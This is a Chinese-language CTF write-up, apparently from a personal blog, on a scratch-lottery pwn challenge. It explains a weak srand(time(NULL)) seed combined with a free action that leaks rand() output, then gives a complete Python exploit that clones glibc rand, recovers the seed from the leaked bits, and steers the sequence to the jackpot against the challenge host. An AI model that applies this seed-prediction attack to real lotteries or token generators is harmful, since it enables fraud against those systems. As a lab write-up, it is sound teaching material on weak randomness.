Siriusuuu
Siriusuuu
发布于 2026-11-09 / 11 阅读
0
0

PWN - 老实赚钱,很枯燥吧

本来以为有整数下溢的,但是没钱了老板不让赊账啊。。

分析 watch_laoqiu

我们在 IDA 里看:

int watch_laoqiu()
{
  puts(&s__6);
  if ( rand() % 100 > 29 )
    return puts(&s__7);
  else
    return puts(&s__8);
}

这是第 6 号选择好像

这个函数:只调用 1 次 rand() 不扣钱,不赚钱,纯粹用于消耗随机数序列。

漏洞原理

依旧是抽象的文字解释:

  1. 需要找到第 N 次 rand() 调用满足:rand() % 100000 == 0

  2. 注意头奖的触发条件:if ( (_DWORD)n10 != 50 || v5 % 100000 )

头奖需要 同时满足:

  • 买 50 元的彩票(选项 4)

  • rand() % 100000 == 0

原理:

srand(time(NULL)) 让随机数种子等于程序启动时刻(秒)。免费的「5. 围观老邱」每次都会消耗一次 rand(),并泄露 rand()%100<30 的结果,相当于一个免费的随机数预言机。

  1. 连上后先围观若干次,记录输赢比特;

  2. 在本地用 glibc 的 rand 算法枚举连接时刻附近的种子,唯一确定种子;

  3. 离线找到该种子下第一个 rand()%100000==0 的下标 J;

  4. 用免费的围观把随机数流推到 J-1,再买 50 元票触发头奖(+200000);

  5. 买 flag。

一段话,有点抽象:本题的核心漏洞是开奖随机数可预测:程序在 init() 中用 srand(time(NULL)) 初始化 glibc 的 rand(),种子只有秒级精度,而包括“50 元票 1/100000 头奖”在内的所有开奖都依赖这条确定性序列,攻击者只要知道大致连接时刻,就能离线复现整条序列。更关键的是,免费的“围观老邱”选项每调用一次都会消耗一个 rand(),并直接打印出 rand()%100<30 的输赢结果,相当于同时提供了零成本的随机数流推进能力和一个泄露随机位的预言机。两者结合后,攻击者可以先围观若干次,用输赢比特在连接时刻附近唯一确定种子,再离线算出第一个满足 rand()%100000==0 的下标,用免费围观把序列推进到该位置,然后买一张 50 元票,稳定触发 20 万头奖。这样就绕过了原本期望为负、正常游玩根本攒不到 10000 元的经济模型,最终买下 flag。该漏洞没有内存破坏,属于弱随机数、逻辑缺陷(CWE-337/CWE-338),修复时应改用 CSPRNG 生成开奖结果,并把免费动作与开奖序列彻底解耦。

那当然是 ai 才写的出来哈哈哈哈,记得改地址。

import argparse
import itertools
import re
import socket
import sys
import time
from urllib.parse import urlparse

HOST = "challenge1.pctf.top"
PORT = 47150
BLOCK = 400          # 每批免费围观次数
OBS = 16             # 先收集多少位“中/不中”用于筛种子
SEARCH_CAP = 1_000_000


def i32(x):
    x &= 0xFFFFFFFF
    return x - 0x100000000 if x >= 0x80000000 else x


class GlibcRandom:
    """逐位复刻 glibc 的 srand()/rand()(TYPE_3,31 字状态)。"""

    slots = ("st", "f", "r")

    def __init__(self, seed):
        seed &= 0xFFFFFFFF
        if seed == 0:
            seed = 1
        s = i32(seed)
        st = [0] * 31
        st[0] = s
        for i in range(1, 31):
            hi = int(s / 127773)        # 向零取整,等价 C 的整数除法
            lo = s - hi * 127773
            w = 16807 * lo - 2836 * hi
            if w < 0:
                w += 2147483647
            s = i32(w)
            st[i] = s
        self.st, self.f, self.r = st, 3, 0
        for _ in range(310):            # glibc 丢弃 10*31 个输出
            self.next()

    def next(self):
        st, f, r = self.st, self.f, self.r
        v = i32(st[f] + st[r])
        st[f] = v
        self.f, self.r = (f + 1) % 31, (r + 1) % 31
        return (v & 0xFFFFFFFF) >> 1

    def clone(self):
        o = object.__new__(GlibcRandom)
        o.st = self.st.copy()
        o.f, o.r = self.f, self.r
        return o


def next_jackpot(gen, pos, cap):
    """从下标 pos 开始,找第一个 rand()%100000==0 的位置。"""
    g = gen.clone()
    for i in range(pos, pos + cap):
        if g.next() % 100000 == 0:
            return i
    return None


def match_seeds(seeds, obs):
    hits = []
    for s in seeds:
        g = GlibcRandom(s)
        for b in obs:
            if (g.next() % 100 < 30) != bool(b):
                break
        else:
            hits.append(s)
    return hits


class Remote:
    def __init__(self, host, port, timeout=15):
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        self.sock.settimeout(timeout)

    def send(self, data: bytes):
        self.sock.sendall(data)

    def recv_prompts(self, n, timeout=180):
        data = b""
        deadline = time.time() + timeout
        while data.count(b"> ") < n:
            remain = deadline - time.time()
            if remain <= 0:
                raise TimeoutError(
                    f"等待 {n} 个提示符超时(已收到 {data.count(b'> ')} 个)"
                )
            self.sock.settimeout(remain)
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                raise TimeoutError(
                    f"等待 {n} 个提示符超时(已收到 {data.count(b'> ')} 个)"
                )
            if not chunk:
                text = data.decode("utf-8", "replace")
                raise EOFError(text)
            data += chunk
        return data.decode("utf-8", "replace")

    def action(self, choice, timeout=180):
        self.send(f"{choice}\n".encode())
        return self.recv_prompts(1, timeout=timeout)

    def free_block(self, n, timeout=180):
        self.send(b"5\n" * n)
        text = self.recv_prompts(n, timeout=timeout)
        parts = text.split("隔壁老邱也买了张")
        res = [1 if "老邱刮中了" in p else 0 for p in parts[1:]]
        if len(res) != n:
            raise RuntimeError(f"free_block 解析失败:期望 {n} 条,实际 {len(res)} 条")
        return res

    def recv_idle(self, idle=2.0, timeout=20):
        data = b""
        end = time.time() + timeout
        while time.time() < end:
            self.sock.settimeout(max(0.05, min(idle, end - time.time())))
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                break
            if not chunk:
                break
            data += chunk
        return data.decode("utf-8", "replace")


def parse_target(host, port):
    if "://" in host:
        u = urlparse(host)
        if u.hostname:
            host = u.hostname
        if u.port:
            port = u.port
    return host, port


def main():
    ap = argparse.ArgumentParser(description="guaguale remote exploit")
    ap.add_argument("host", nargs="?", default=HOST)
    ap.add_argument("port", nargs="?", type=int, default=PORT)
    ap.add_argument("--obs", type=int, default=OBS, help="预言机观察次数(默认 16)")
    ap.add_argument("--block", type=int, default=BLOCK, help="每批推进次数(默认 400)")
    ap.add_argument("--cap", type=int, default=SEARCH_CAP, help="头奖下标搜索上限")
    ap.add_argument("--skew", type=int, default=3, help="初始时间窗口半径(秒)")
    args = ap.parse_args()

    host, port = parse_target(args.host, args.port)

    t0 = int(time.time())
    rem = Remote(host, port)
    rem.recv_prompts(1, timeout=30)         # 欢迎信息 + 第一个菜单
    t1 = int(time.time())
    print(f"[*] 已连接 {host}:{port},种子窗口约 [{t0}, {t1}]")

    # ---- 1. 用免费围观收集预言机比特 ----
    obs = []
    for _ in range(args.obs):
        txt = rem.action(5)
        obs.append(1 if "老邱刮中了" in txt else 0)
    print("[*] oracle bits: " + "".join("W" if b else "." for b in obs))

    # ---- 2. 筛种子(从窄到宽自动扩大窗口)----
    spans = sorted({max(0, args.skew), 30, 300, 3600, 86400})
    spans = [s for s in spans if s >= args.skew]
    hits = []
    lo_done = hi_done = None
    for span in spans:
        lo, hi = t0 - span, t1 + span
        if lo_done is None:
            seeds = range(lo, hi + 1)
        else:
            seeds = itertools.chain(range(lo, lo_done), range(hi_done + 1, hi + 1))
        hits = match_seeds(seeds, obs)
        lo_done, hi_done = lo, hi
        print(f"[*] 搜索 ±{span}s ... 命中 {len(hits)} 个")
        if hits:
            break
    if not hits:
        sys.exit(
            "[!] 没有种子匹配。可能:服务进程不是每次连接新建、服务器时钟偏差过大,"
            "或不是 glibc 环境。可加大 --obs / --skew 重试。"
        )

    print(f"[*] 候选种子: {hits[:8]}{' ...' if len(hits) > 8 else ''}")

    # ---- 3. 为每个候选算头奖下标 ----
    pos = len(obs)
    survivors = []
    for s in hits:
        gen = GlibcRandom(s)
        for _ in range(pos):
            gen.next()
        j = next_jackpot(gen, pos, args.cap)
        if j is not None:
            survivors.append({"seed": s, "gen": gen, "J": j})
    if not survivors:
        sys.exit(f"[!] 候选种子在 {args.cap} 次内都没有头奖,试试更大的 --cap")

    # ---- 4. 免费推进 + 买票 ----
    money = 100
    while True:
        survivors.sort(key=lambda d: d["J"])
        target = survivors[0]["J"]
        print(f"[*] 候选 {len(survivors)} 个,目标下标 J={target},当前位置 {pos}")
        while pos < target:
            n = min(args.block, target - pos)
            res = rem.free_block(n)
            kept = []
            for d in survivors:
                gen = d["gen"]
                pred = [1 if gen.next() % 100 < 30 else 0 for _ in range(n)]
                if pred == res:
                    kept.append(d)
            survivors = kept
            pos += n
            if not survivors:
                sys.exit("[!] 所有候选在推进途中被排除;加大 --obs 或放宽 --skew 重试")
            print(f"    推进 {pos}/{target},剩余 {len(survivors)} 个候选    ", end="\r")
        print()

        txt = rem.action(4)
        m = re.search(r"余额: (-?\d+)", txt)
        if m:
            money = int(m.group(1))
        if "头等奖" in txt:
            print(f"[+] 头奖命中!余额 {money}")
            break

        print(f"[-] 这一抽没中头奖(余额 {money}),剔除错误候选后继续")
        survivors = [d for d in survivors if d["J"] != target]
        pos += 1
        for d in survivors:
            d["gen"].next()
        if money < 50 or not survivors:
            sys.exit("[!] 余额不足或没有候选,失败")

    # ---- 5. 买 flag ----
    print("[*] 购买 flag ...")
    rem.send(b"6\n")
    out = rem.recv_idle()
    print(out)

    m = re.search(r"小盒子[::]\s*(\S+)", out)
    if m:
        print(f"\n[+] FLAG: {m.group(1)}")
    else:
        print("\n[!] 没匹配到 flag,检查上面的输出")


if __name__ == "__main__":
    main()
运行结果


评论